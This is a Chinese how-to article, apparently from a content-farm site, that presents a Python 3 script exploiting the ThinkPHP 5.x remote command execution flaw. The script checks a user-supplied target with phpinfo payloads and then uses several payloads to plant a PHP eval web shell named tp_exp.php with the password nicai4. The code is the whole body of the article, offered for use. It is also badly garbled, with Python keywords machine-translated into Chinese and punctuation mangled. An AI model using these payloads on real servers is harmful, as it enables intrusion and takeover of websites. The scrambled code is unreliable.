介绍
这篇文章将为大家详细讲解有关怎么在python3中使用ThinkPHP命令执行Getshell,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
import 请求 import 系统 , def 演示(): 打印才能(& # 39;,_______ _ ,, _ ,,, _ , _____ _ , _ _____ & # 39;) 打印才能(& # 39;,| __ , __ |, |,, (_),,, |, |, |, __ \ |, |, |, |, __ \, & # 39;) 打印才能(& # 39;,,|,|,|,| __ _ _ __ |, |, _ |, | __), |, | _ |, |, | __), | & # 39;) 打印才能(& # 39;& # 39;& # 39;,,|,|,|,& # 39;_ \ |, |, & # 39; _ \ |, |/,/,/___ |, __ |, ___/, & # 39; & # 39; & # 39;) 打印才能(& # 39;,,|,|,|,|,|,|,|,|,|,|,,& lt; |, |,, |, |, |, |, |,,, & # 39;) 打印才能(& # 39;,,| _ |,| _ |,| _ | _ | _ |,| _ | _ | \ _ \ _ |,,| _ |,| _ | _ |,,,& # 39;) ,,print () 打印才能(& # 39;\ tThinkPHP 5. x (v5.0.23 以及v5.1.31 following 版本)# 39;公司) 打印才能(& # 39;\ tRemote command  execution 利用# 39;公司) 打印才能(& # 39;\ tVulnerability verification 以及getshell # 39;公司) 打印才能(& # 39;\ tTarget: http://target/public& # 39;) ,,print () class ThinkPHP (): def 才能__init__(自我、网络): ,,,self.web =网络 ,,,self.headers =, { ,,,“User-Agent",:,“Mozilla/5.0, (Windows NT 10.0;, Win64;, x64;,房车:63.0),壁虎/20100101,Firefox/63.0“, ,,,“Accept",:,“text/html, application/xhtml + xml, application/xml; q=0.9 */*; q=0.8“, ,,,“Accept-Language",:,“,应用zh型;q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en - us; q=0.3, en; q=0.2“, ,,,“Accept-Encoding",:,“, deflate" gzip, ,,,“Content-Type",:,“应用程序/x-www-form-urlencoded" ,,,“Connection",:,“keep-alive" ,,,} , def 才能验证(自我): ,,,小姐:=0 ,,,s =0 ,,,verifications =, [& # 39;/? s=指数/\ \想\请求/input&过滤器=phpinfo&数据=https://www.yisu.com/zixun/1”、“/? s=指数/\ \ \ app/invokefunction&function=call_user_func_array&vars [0]=phpinfo&vars [1] []=1”、“/? s=指数/\ \容器/invokefunction&function=call_user_func_array&vars [0]=phpinfo&vars [1] []=1) 而真正的: 如果我==len(验证): 打破 其他: url=自我。网络+验证[我] 要求=requests.get (url=url,标题=self.headers) 如果“phpinfo ()”req.text: s=1 打破 其他: s=0 我+=1 如果s==1: print(“[+]有漏洞。”) print () toshell=输入(“[*]Getshell ?(y/n):”) 如果toshell==皔”: self.getshell () elif toshell==皀”: sys.exit () 其他: sys.exit () 其他: 打印(“[-]没有漏洞。”) def getshell(自我): getshells=[ ”? s=/索引/\ \ \ app/invokefunction&function=call_user_func_array&vars [0]=file_put_contents&vars [1] []=tp_exp.php&vars [1] []=<?(php @ eval调用这些查找$ _POST [nicai4]);?> ', ”? s=/索引/\ \ \ app/invokefunction&function=call_user_func_array&vars [0]=system&vars[1][]=回声% 20% 27 <? php ($ _POST [nicai4]) % 20 @ eval调用这些查找;% 20 ?> % 20 27%> % 20 tp_exp.php ', ”? s=/索引/\ \ \ app/invokefunction&function=call_user_func_array&vars [0]=system&vars[1][]=回声% 20 ^ <? php ($ _POST [nicai4]) % 20 @ eval调用这些查找;% 20 ? ^> % 20> tp_exp.php ', ”? s=指数/\ \想\ \模板驱动\ \文件/write&cacheFile=tp_exp.php&content=<? php % 20 eval ($ _POST [nicai4]); ?> ') shell=自我。网络+ '/tp_exp.php ' 我=0 s=0 而真正的: 如果我==len (getshells): 打破 其他: url=自我。网络+ getshells[我] 要求=requests.get (url=url,标题=self.headers) req_shell=requests.get (url=壳,头=self.headers) 如果req_shell。status_code==200: s=1 打破 其他: s=0 我+=1 如果s==1: 打印(“[+]网站管理权限:% s密码:nicai4”%壳) 其他: 打印(“[-]漏洞不存在或存在waf。”) def main (): 演示() url=输入(“[*]请输入你的目标:“) 运行=ThinkPHP (url) run.verification () if __name__==癬_main__”: main ()
关于怎么在python3中使用ThinkPHP命令执行Getshell就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看的到。